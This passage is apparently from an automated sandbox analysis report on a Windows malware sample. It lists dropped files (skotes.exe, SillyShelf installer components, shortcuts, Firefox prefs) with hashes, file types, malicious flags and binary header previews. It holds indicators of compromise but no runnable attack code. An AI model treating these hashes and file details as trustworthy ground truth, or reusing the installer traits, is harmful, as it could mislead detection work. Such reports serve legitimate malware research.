Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`K...........@...........................K.....34....@.................................W...k.......H...................8OK..............................NK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...pykcxpuc.....P1.....................@...hqudcphw.....PK.....................@....taggant.0...`K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1160704
Entropy (8bit):	6.3941502469827425
Encrypted:	false
SSDEEP:	24576:MYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XU:3GUhni7iSFCQGu
MD5:	14C6FA8E50B4147075EB922BD0C8B28D
SHA1:	0FAAD18B0E26CE3B5C364621A4F0AEE9DB56A9A7
SHA-256:	90C4A61AF494B63ECFE1226714175675A4E49E57D50718491B3BC8FE29DD8FC7
SHA-512:	E6C35BBCAA9A8BB306E58BB91AADF5FEED6B1AD1DF6EE0E68BF3BAE9B76D84C862B4EE9DD87A1D288FE1B7AAAAC13467964436A09EC529F67AF50905CD0EF876
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1160704
Entropy (8bit):	6.3941502469827425
Encrypted:	false
SSDEEP:	24576:MYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XU:3GUhni7iSFCQGu
MD5:	14C6FA8E50B4147075EB922BD0C8B28D
SHA1:	0FAAD18B0E26CE3B5C364621A4F0AEE9DB56A9A7
SHA-256:	90C4A61AF494B63ECFE1226714175675A4E49E57D50718491B3BC8FE29DD8FC7
SHA-512:	E6C35BBCAA9A8BB306E58BB91AADF5FEED6B1AD1DF6EE0E68BF3BAE9B76D84C862B4EE9DD87A1D288FE1B7AAAAC13467964436A09EC529F67AF50905CD0EF876
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\is-HBCT4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1183089
Entropy (8bit):	6.3663933835404425
Encrypted:	false
SSDEEP:	24576:kYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XN:fGUhni7iSFCQGz
MD5:	F1ED953D31A56E4899772A56604685B5
SHA1:	C56DA596FD92B48D2B062C16131A1CFDC984853F
SHA-256:	438A002FB9CD0BD061345C8F098C69C4249CE0B0D9AC3F1BC5CB3701BA6093EC
SHA-512:	514131A00232CDE458F50FB8AABEC5D415B62101A814520B8DF7C32AD24C23409C76A64D513B3FD96F526A461DE2531AEAA59A187D647C946DE5B51C52177E8D
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	InnoSetup Log Little Leg, version 0x418, 3677 bytes, 082561\37\user\37, C:\Users\user\AppData\Local\376\377\377\
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	3.763155048105256
Encrypted:	false
SSDEEP:	96:RTa44NWzpZn3hCdfc1AGlEDA4MZAe2LgHhxV:RTaxYpZ38f7fDSmgHXV
MD5:	8FFADACCEB93610A0BB408F9CDC1E461
SHA1:	EA86C3E7FC83FF83B341A7472C35BD753E9BA3FA
SHA-256:	EF164B530A991F875AE1C694E3FF9E7924CFA7E145B77A4F6EF466B2849454F6
SHA-512:	A4FF44012800AF7DB793969C41AAA2BFA3EE7EF6AD7DCBF88D78535A3FB2D436694AAB2F78CF81D5B308594B48BDF5C58C2FD331DBCE9FADA49B5C4FDF4073D6
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Little Leg......................................................................................................................Little Leg..............................................................................................................................]...%...............................................................................................................y>:;....n.....0......w........0.8.2.5.6.1......a.l.f.o.n.s......C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l....................8.. ..............IFPS...............................................................................................................................................................BOOLEAN..............TEXECWAIT.................!MAIN....-1..'...dll:kernel32.dll.GetCurrentProcess.......(...dll:kernel32.dll.TerminateProcess................ ...RESTARTINSTALLERWITHSILENTPARAMS....-1..EXPANDCONSTANT........EXEC.....

C:\Users\user\AppData\Local\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1183089
Entropy (8bit):	6.3663933835404425
Encrypted:	false
SSDEEP:	24576:kYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XN:fGUhni7iSFCQGz
MD5:	F1ED953D31A56E4899772A56604685B5
SHA1:	C56DA596FD92B48D2B062C16131A1CFDC984853F
SHA-256:	438A002FB9CD0BD061345C8F098C69C4249CE0B0D9AC3F1BC5CB3701BA6093EC
SHA-512:	514131A00232CDE458F50FB8AABEC5D415B62101A814520B8DF7C32AD24C23409C76A64D513B3FD96F526A461DE2531AEAA59A187D647C946DE5B51C52177E8D
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 01:09:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978752539652592
Encrypted:	false
SSDEEP:	48:8gd7sTs42HpidAKZdA19ehwiZUklqeh3y+3:8TPoYy
MD5:	13052AE7FB564967EC6F707735492EAC
SHA1:	1A8EC28AD58C06AC0CA71D3EE58818EF5896D3CF
SHA-256:	11CE270634FCA011E837A68EA91EC590B5D680940579D1008713D233483FBA02
SHA-512:	6D2ED90C6DBC91ADFFFF6C2835774A1195A6CDAC3AD191371217994D347353D2CBC25BFB83B31E35209A558FCA4FA239C16B22758932C706A77470A175256FB7
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....u..w.;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuY<.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY<.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY<.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY<............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY@............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............V......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 01:09:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.995598042372237
Encrypted:	false
SSDEEP:	48:8id7sTs42HpidAKZdA1weh/iZUkAQkqehIy+2:8dPi9Qdy
MD5:	8395BE2648CD25468D53D9A2F5B52EC8
SHA1:	99916EB616E4977B4D8920DA5470CDFAA2147947
SHA-256:	DABA849C8E5B0709CFB0F64C79AB883B687F9B2E83A7D7391280B1D344258AFE
SHA-512:	6D6767D8EC2849315859DD3D50A1963865A5B9DE680C514F6D69976948D6BC35DF870DA1566177C56A02355CD9F623FA68DAA3DFCB0AE0A5EF349CC97217ED42
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....}..w.;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuY<.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY<.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY<.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY<............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY@............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............V......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005651934396217
Encrypted:	false
SSDEEP:	48:8xBd7sTs4sHpidAKZdA14tseh7sFiZUkmgqeh7smy+BX:8xsP4n8y
MD5:	6350ACF304C7021788DE856ACDA0A2EF
SHA1:	1B9FB4EE55C60C0EAA2445DF89607F63950FF96B
SHA-256:	ADE86D667502DE85A5E1B90E98AA2A1D49535013C245BB6ED7DC8C4797DAB0AE
SHA-512:	7E49EABC6BB333864D1374EAF7F99398ED75BF0A2642C7B755E27E5455FF6826C1C42B91E438A3466B0536193F2D34B8B79E9151F2058007F79B1B3E6565B181
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuY<.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY<.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY<.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY<............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............V......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 01:09:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992341151162054
Encrypted:	false
SSDEEP:	48:8ld7sTs42HpidAKZdA1vehDiZUkwqehUy+R:8wPpey
MD5:	91E7492BCA307AE6238B621123BFCF29
SHA1:	4CFD8641041C2AD8A788C72262A1368538B9B541
SHA-256:	5BBE1A0C763F71B5D744628A486E189D8D907EA0CE3429C32DD26F258092CB54
SHA-512:	77EA7CBA4680C7996B5050FA8CB2AB8C2C6ECF6A25003F9B45691AB05AF3341F18C51C3139C1AD03845CBE5E6009FF0EDC7A933B5CB751D58281111837C23618
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....q.w.;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuY<.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY<.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY<.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY<............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY@............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............V......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 01:09:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9843065930178194
Encrypted:	false
SSDEEP:	48:8Kd7sTs42HpidAKZdA1hehBiZUk1W1qehKy+C:81PZ9qy
MD5:	EE2E1BF2A088330A1B4CA722C6C3A0BE
SHA1:	398CB4CD5104E6D5DDB04D6BE71F98103977227B
SHA-256:	E36D4DF9D6A89C509127F89108F8EB3D13E29E65EAD4D4B1C6F463A7D3BED627
SHA-512:	72FA27CDB3489AAE1BC02B917324952FEEE01B544B8FB52B506514B0E04241F3E404D954A827D893C04917E1E6D0BA0B6F7634E70E1296F389FA7693DD1FADE2
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....}..w.;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuY<.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY<.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY<.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY<............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY@............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............V......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 01:09:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9905646696806145
Encrypted:	false
SSDEEP:	48:8d4d7sTs42HpidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb8y+yT+:8NPlT/TbxWOvTb8y7T
MD5:	31D0CB9F1CE59A290D736CFBF4628807
SHA1:	ECEE07B029AEC5F6C4216A4C6E244E335FE4E039
SHA-256:	86B1CBA26C9511A288AC165C348A597A78D307EF89963B2E86847D45A85A444E
SHA-512:	90DF1F84DD0D0F709EC2663D3360498C6C1DEACBFE48EFF94AB4571F33ABE32C009A7DDB7BF76742B6D317E9AD9286DE4A91DDF764D9572C7BFB13F3E0E39815
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....#.w.;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuY<.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY<.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY<.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY<............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY@............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............V......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9814
Entropy (8bit):	5.509190244411876
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6gJ0aX+H6SEXK5kHWNBw8d4Sl:PPetJUapHEwX0
MD5:	61CB087E648B49359317FBC862BE1478
SHA1:	128892FE9AF23CF8FA976E31EBF4FE69A5B19134
SHA-256:	3F506011A87C76AF6C4D04A69ED0655984066E6D63FB4B6692FE1D410CB570D1
SHA-512:	2A1A3D5D2F475F3D91256F62FBBA506D2A5FA5242BB8944FEF7C932D5EE508796791732CF9B41F5367F22A47CAC6C287E2EFB37D11D8B844A4DE8ABE04584102
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9814
Entropy (8bit):	5.509190244411876
Encrypted:	false
